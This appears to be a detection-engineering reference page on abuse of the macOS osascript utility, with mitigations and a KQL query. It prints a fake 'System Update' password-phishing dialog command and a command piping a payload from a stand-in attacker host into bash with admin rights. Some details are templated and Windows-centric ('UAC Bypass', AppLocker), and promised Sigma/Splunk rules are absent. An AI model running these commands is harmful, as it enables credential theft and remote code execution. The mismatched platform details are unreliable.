>osascript

Osascript executes Open Scripting Architecture (OSA) scripts such as AppleScript and JavaScript for Automation (JXA). Widely used in macOS malware to display convincing phishing dialogs, harvest credentials, control System Events, and execute shell commands.

Default Executable Paths

/usr/bin/osascript

Integrity & Metadata

Original Name: osascript
File Version: macOS Built-in
Category Count: 2 weaponized patterns
Forensics & Triage Insight

Malware frequently uses osascript to pop fake "Software Update" or "Apple ID" dialog boxes asking for system passwords with hidden answers.

Detection Engineering Notes

Alert on osascript commands calling "display dialog" with "with hidden answer", or "do shell script" running with administrator privileges.

Executive Summary & AI Quick Reference

High-Fidelity Telemetry Profile

osascript is a native utility pre-installed on macOS systems. Threat actors and red teams abuse osascript as a Living-off-the-Land Binary (LOLBin) to achieve Credential Dump, UAC Bypass without triggering traditional antivirus file-hash alerts. Legitimate system administrators use it for routine administration, making behavioral command-line telemetry essential for differentiation.

Primary Abused Tactics
Credential Dump, UAC Bypass
Minimum Privilege
User
Key Telemetry Source
Endpoint Security
ATT&CK Mapping
T1059.002, T1003

Weaponized Parameters & Proof-of-Concepts

Documented attack commands, parameter flags, and privilege prerequisites.

2 documented methods
Filter Purpose:
Credential DumpPrivileges: User
T1003: OS Credential Dumping

Pops a native macOS alert dialog prompting the user for their password and returning the cleartext string.

osascript -e 'display dialog "System Update requires your password to continue:" default answer "" with hidden answer with icon caution'
UAC BypassPrivileges: Administrator
T1059.002: AppleScript

Executes a command through osascript while prompting the user for elevated administrator privileges.

osascript -e 'do shell script "curl -s http://attacker.host/implant | bash" with administrator privileges'

SIEM & EDR Detection Rules

Production telemetry rules configured for Microsoft Defender, Sigma, and Splunk.

Telemetry & SIEM Detection Suite (osascript)

Validated against MITRE T1059.002, T1003
osascript Microsoft Defender Querykql
1DeviceProcessEvents
2| where FileName =~ "osascript"
3| where ProcessCommandLine has_all ("display dialog", "hidden answer")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Mitigation, Hardening & Prevention

Recommended defensive controls to block or constrain osascript abuse.

Application Whitelisting

Enforce strict Endpoint Security Framework (ESF) policies and mobile device management (MDM) profile restrictions blocking unsigned scripts.

Attack Surface Reduction

Configure Apple Gatekeeper and restrict Terminal / osascript execution through strict Transparency, Consent, and Control (TCC) profiles.

Behavioral Alerting

Deploy the KQL, Sigma, and Splunk detection queries below. Alert on anomalous child processes, web requests to unrated external IPs, or encoded payload strings.

Frequently Asked Questions (FAQ) • osascript

Key operational questions and defensive answers about osascript LOLBin tradecraft.

What is osascript and why is it classified as a LOLBin?

osascript is a legitimate, pre-installed or trusted utility on macOS. It is classified as a Living-off-the-Land Binary (LOLBin) because adversaries abuse its built-in functionality to perform malicious operations—such as Credential Dump, UAC Bypass—without dropping custom malware binaries on disk.

How do threat actors abuse osascript in cyber intrusions?

Adversaries leverage osascript to execute stealthy actions while evading signature-based security controls. For example, attackers execute commands like "osascript -e 'display dialog "System Update requires your password to continue:" default answer "" with hidden answer with icon caution'" to achieve Credential Dump, UAC Bypass, masquerading behind legitimate system process lineage.

How can SOC analysts detect suspicious osascript activity?

Detection engineers monitor process creation events (Windows Event ID 4688 or Sysmon Event ID 1; Linux auditd EXECVE; macOS Endpoint Security) inspecting anomalous command line arguments, unusual parent-child process relationships (e.g. Office apps or web servers spawning osascript), and unexpected network connections.

What MITRE ATT&CK techniques does osascript map to?

osascript maps to MITRE ATT&CK technique(s): T1059.002, T1003. These techniques cover adversary actions across tactics such as Defense Evasion, Execution, Persistence, and Command and Control.

How can organizations mitigate and restrict osascript?

Mitigation strategies include implementing Application Control policies (AppLocker or Windows Defender Application Control - WDAC), enforcing Attack Surface Reduction (ASR) rules, configuring strict privilege separation (disallowing standard users from running sensitive switches), and alerting on execution from non-standard directories.

Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection EngineerCheck Point